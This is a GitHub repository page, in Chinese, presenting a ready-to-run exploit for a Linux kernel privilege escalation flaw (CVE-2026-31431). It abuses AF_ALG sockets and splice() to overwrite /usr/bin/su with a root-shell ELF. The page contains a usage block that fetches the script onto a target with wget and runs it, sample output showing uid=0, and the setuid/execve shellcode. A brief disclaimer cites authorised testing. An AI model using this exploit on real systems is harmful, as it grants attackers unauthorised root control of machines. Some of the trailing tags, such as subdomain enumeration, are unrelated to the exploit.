g1nt0n1x/copy-fail-CVE-2026-31431-shell

GitHub: g1nt0n1x/copy-fail-CVE-2026-31431-shell

Linux内核CVE-2026-31431本地权限提升漏洞的PoC利用工具,通过AF_ALG socket的splice路径绕过页缓存写时复制保护,无竞态条件地覆盖SUID二进制文件实现root提权。

Stars: 0 | Forks: 0

# CVE-2026-31431 - copy_fail shell 通过 AF_ALG socket + `splice()` 页缓存覆盖实现本地权限提升。 使用调用 `setuid(0)` + `execve("/bin/sh")` 的最小 ELF 覆盖只读 SUID 二进制文件(`/usr/bin/su`)。无竞态条件,无需针对不同发行版的偏移量,单次运行即可完成。 ``` $ ./copy_fail_exp.sh [*] Kernel: 5.15.0-88-generic [+] Kernel 5.15 is in the vulnerable window (4.9 – 6.18) — proceeding [*] Compiling... [+] Compiled OK — launching # id uid=0(root) gid=1000(activemq) groups=1000(activemq) ``` ## 漏洞详情 Linux 内核的 AF_ALG(加密 API)socket 结合 `splice()`,允许通过操控页缓存向以 `O_RDONLY` 打开的文件写入数据。内核在 ALG socket 的 splice 路径中跳过了写时复制(copy-on-write)快捷方式的写入权限检查——这与 Dirty Pipe (CVE-2022-0847) 属于同一类漏洞,但它是通过内核 4.9 中引入的不同代码路径触发的。 ## 受影响版本 | 内核范围 | 状态 | |---|---| | < 4.9 | 不受影响(不存在受影响的代码路径) | | 4.9 – 6.18 | **受影响**(约 9 年,2017–2026) | | ≥ 6.19 | 已修补 | ### 测试环境 | 发行版 | 内核版本 | |---|---| | Ubuntu 24.04 LTS | 6.17.0-1007-aws | | Amazon Linux 2023 | 6.18.8-9.213.amzn2023 | | RHEL 10.1 | 6.12.0-124.45.1.el10_1 | | SUSE 16 | 6.12.0-160000.9-default | ## 前置条件 - 目标系统上的本地 shell(任意权限级别) - 目标系统上安装有 `gcc` - 对 `/tmp` 目录具有写入权限 - x86-64 架构 ## 使用方法 ``` # 在目标上 wget http:///copy_fail_exp.sh chmod +x copy_fail_exp.sh ./copy_fail_exp.sh ``` 该脚本将会: 1. 检查当前运行的内核是否在受影响的范围内 2. 在目标系统上编译内嵌的 C 语言漏洞利用程序(无 zlib 依赖) 3. 使用 root shell payload 覆盖 `/usr/bin/su` 4. 执行该程序 ## 原理说明 ``` AF_ALG socket (AEAD) │ │ sendmsg() with crafted ancillary data (ALG_SET_OP / ALG_SET_IV) │ ▼ op_fd (operation socket) ▲ │ splice(): file_fd → pipe → op_fd │ /usr/bin/su (O_RDONLY) ``` ALG socket 内部的内核 splice 路径跳过了写时复制的权限检查,直接写入目标文件的页缓存,即使该文件是以只读方式打开的。payload(一个 160 字节的 ELF 文件)会在 40 次迭代中每次写入 4 个字节。 **Payload shellcode:** ``` xor eax, eax xor edi, edi ; uid = 0 mov al, 105 ; SYS_setuid syscall ; setuid(0) lea rdi, [rip+0xf] ; -> "/bin/sh" xor esi, esi ; argv = NULL push 59 / pop rax ; SYS_execve cdq ; envp = NULL syscall ; execve("/bin/sh", NULL, NULL) ``` ## 文件说明 | 文件 | 描述 | |---|---| | `copy_fail_exp.sh` | Bash 脚本——在目标系统上编译并运行,无需 Python | | `copy_fail_exp.py` | 原始 Python 版本,供参考 | | `copy_fail_exp_deobfuscated.py` | 反混淆并带有注释的 Python 版本 | ## 免责声明 仅供授权的安全测试以及 CTF/实验室环境使用。请勿在您不拥有或未获得明确书面授权的系统中使用。
标签:0day, 0day挖掘, AF_ALG, copy_fail, CVE-2026-31431, Dirty Pipe, ELF文件覆盖, Linux内核漏洞, LPE, PoC, splice, SUID提权, Web报告查看器, 二进制利用, 云资产清单, 内核安全, 协议分析, 子域名枚举, 应用安全, 提权脚本, 数据展示, 暴力破解, 本地提权, 权限提升, 系统安全, 红队, 网络安全, 逆向工具, 逆向工程, 隐私保护, 页缓存覆盖